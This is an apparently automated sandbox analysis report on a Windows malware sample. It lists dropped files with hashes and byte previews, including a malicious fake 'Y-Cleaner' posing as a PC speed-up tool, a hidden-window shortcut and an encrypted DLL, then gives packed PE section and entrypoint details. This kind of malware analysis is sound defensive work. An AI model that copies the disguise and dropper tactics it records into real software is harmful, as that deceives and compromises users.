SSDEEP:	192:gYtEdmXUWt8fXul2GefOio+ebG9B67Pt6NVMOcJwHL8d+S3D62P6gIpx/gsbQKIX:FIWt8Wl26P+Sc67t6NSOYDueUdKkkCuZ
MD5:	00D4645460C1660A566E04AECD214832
SHA1:	EBBDCD68E4D689E43EB9155CCFF6A2443C559945
SHA-256:	F8D7B71D48D9590129BC0302A5C35BFE59149DDA243EAE4D51E4CE462A346169
SHA-512:	44370EDF6821BCD06AA8D6B2DC974B8EE4173A006696C7E29772C5870F201F3A7083B46AFCD6A89554322673D6D281D156D77F682236E7CD2658810A2E59B60F
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........eg............4...........8...<.......D....,..........T.......8...........T............A...s..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......`....eg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB594.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8396
Entropy (8bit):	3.6917376281097183
Encrypted:	false
SSDEEP:	192:R6l7wVeJmY6Nz6Y9HSUCrGPgmfiFpDy89bA/sfScAm:R6lXJB6x6YNSUCqgmfibAkff
MD5:	A194570650976A6D4BB0DE0E9296EB75
SHA1:	2E331849E2638F434C7A6ACB2BE8A582173A7B64
SHA-256:	DCF297B85D1F464F8D5B58C87D8527828BD796B5FEBFCCB3B3C319DD8263A820
SHA-512:	3F5E856BFB529A2D2755D6511F9668123664E528DD13DB63855784831C823364A5A432D15D3D13A4557EAC703F5056E9AD418A31620F330E5B5618217B571004
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB5C4.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4680
Entropy (8bit):	4.45398267876305
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnJg77aI9alWpW8VYjPYm8M4JkyFN4+q8vWK9gG0qzb1d:uIjfJI7oU7VeSJP4Khyezb1d
MD5:	D3480FC0E10C55B162EBC44FA6FC8F23
SHA1:	590AD683A81E74E3B3E9765A8CD2A5AED811BD24
SHA-256:	D76D7D024FC3273B1F7B8C9C1B01F05D6DD774A8216B731E69DF58F50571F4CF
SHA-512:	9D37757A0344EA9CD7B245E1A370A21F1815408F39668484BCE088F122869544D5D6E24AFF7633A82D2E25CD95BDF0549B794E896DF03EA0BD359E2F30395B1F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="639742" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: BEd2lJRXFM.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\8V0INSl0E2.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Fri Dec 20 14:19:46 2024, mtime=Fri Dec 20 14:19:46 2024, atime=Fri Dec 20 14:19:46 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2121
Entropy (8bit):	3.7610617370966137
Encrypted:	false
SSDEEP:	24:8dn/7R3/URJJgKG5gFAxA8A7FmfjvNKr89ryO4ZfqrjtlpvqyFm:8F7lsRUsAa7FajvNKr89ryZfqrpl0yF
MD5:	4DEF284A6B26056314F57DD5DEE55B46
SHA1:	E47590455BBA503D6F99A454D854B72C87BED399
SHA-256:	DA06A501AC46803112D756D808C3AFD179977B4FE848028DEAF46A886FD91814
SHA-512:	11E1F2267CA0A118D51F8020E95F00D491B73420DF563A5E562905273747DD84971E565E86853AE2E8F4E28CAB13EBE25D15162F735BEEA91D8C1F5C53DECA94
Malicious:	false
Preview:	L..................F.@.. ....@g..R...@g..R...@g..R..........................&.:..DG..Yr?.D..U..k0.&...&......vk.v....W.q.R....p..R......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.YVz...........................%..A.p.p.D.a.t.a...B.P.1......YSz..Local.<......CW.^.YVz....b......................d..L.o.c.a.l.....N.1......YVz..Temp..:......CW.^.YVz....l.....................~...T.e.m.p.....b.1......Yuz..4E3E3F~1..J......Yuz.Yuz....U.....................LJ..4.e.3.E.3.f.F.4.R.e.2.d.....h.2......Yxz .Y-CLEA~1.EXE..L......Yxz.Yxz..........................t...Y.-.C.l.e.a.n.e.r...e.x.e.......k...............-.......j...........%..b.....C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.0.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.e.3.E.3.f.F.4.R.e.2.d.\.Y.-.C.l.e.a.n.e.r...e.x.e.<.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.e.3.E.3.f.F.4.R.e.2.d.\.Y.-.C.l.e.a.n.e.r...e.x.e......

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465437611655589
Encrypted:	false
SSDEEP:	6144:gIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNUdwBCswSbi:lXD94+WlLZMM6YFHG+i
MD5:	8AD2E288EECF29BEB429927CBADA7D49
SHA1:	BDF8408E7B04BD261494531A230206DE86EF6FBE
SHA-256:	442B47411AE4DB1E55F5D14ABF7EA01FC31C42A93AA051A262A0A36E47A51242
SHA-512:	DCAE6B6234415CB321D82402BF314BB6CDA14177795BE5BF7CA889D92B5E42F6D1EF4A74A5B78C6E832CB65BA1DE6D80D539CEDC39649ED576A2AF877E1606A3
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.c..R..............................................................................................................................................................................................................................................................................................................................................z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9394953191348305
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8V0INSl0E2.exe
File size:	1'987'072 bytes
MD5:	e6a1c97a26a0901473f9ca53cd39967f
SHA1:	16d060d65114d89e9c2ee5516be1c4c95f60d39e
SHA256:	3ed31a41ff5e2ffec4dba349fb5fd434eebc72d1426eb0a220b22e5ededaae23
SHA512:	125fc67e0ac04015d3cc765050ecb8c9b1cc18c8177ffdcce7f36a9e1aeebe7bbfa5aef6a81c6ce7a6f2b10b0ac0db57642f0262d7bdc60ae264aaf02e2899b5
SSDEEP:	49152:r2Oz9lIo5WQm5OlTRxYnykwh8tSch0rKK57d6+:rBzrUwhGSaydFd6
TLSH:	98953387BC5B1C7FE8EE6DF2D9130B441688D25096AFCB6D3ED81E1C8587602A1D7E06
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i..............nG@......ZR......ZC......ZU......................Z\......ZB......ZG.....Rich....................PE..L....,.e...

File Icon


Icon Hash:	e7a99a8a8651790c

Static PE Info

General

Entrypoint:	0xc75000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65B12CA8 [Wed Jan 24 15:28:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F96488DF7DAh
wrmsr
push ds
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41805b	0x6f	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40d000	0xaea0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x86ca30	0x18	foclbzzo
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40c000	0x24e00	9b5eb14822e04831738de57791a89ebb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40d000	0xaea0	0x7000	181d837884fe0e42b7e76ff773ee66ff	False	0.9673549107142857	data	7.90107616844861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x418000	0x1000	0x200	b8539b83d0b3f253ed2a56b71af0554b	False	0.154296875	data	1.085758102617974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x419000	0x2a5000	0x200	3da884af44515b18a458c800405e9696	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
foclbzzo	0x6be000	0x1b6000	0x1b5800	7f4c6392bef6154bebf735bbb535ed42	False	0.98999609375	data	7.947510990972953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bhxrjegc	0x874000	0x1000	0x600	98dbb221e2f72d8cf858ab20fd8ff388	False	0.5631510416666666	data	4.942781147239619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x875000	0x3000	0x2200	df40cce6dfe33d706074aae55d54130c	False	0.08318014705882353	DOS executable (COM)	1.0222840798854043	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x86ca90	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkmen	Turkmenistan	0.7971748400852878
RT_ICON	0x86d938	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkmen	Turkmenistan	0.7838447653429603
RT_ICON	0x86e1e0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkmen	Turkmenistan	0.7200460829493087
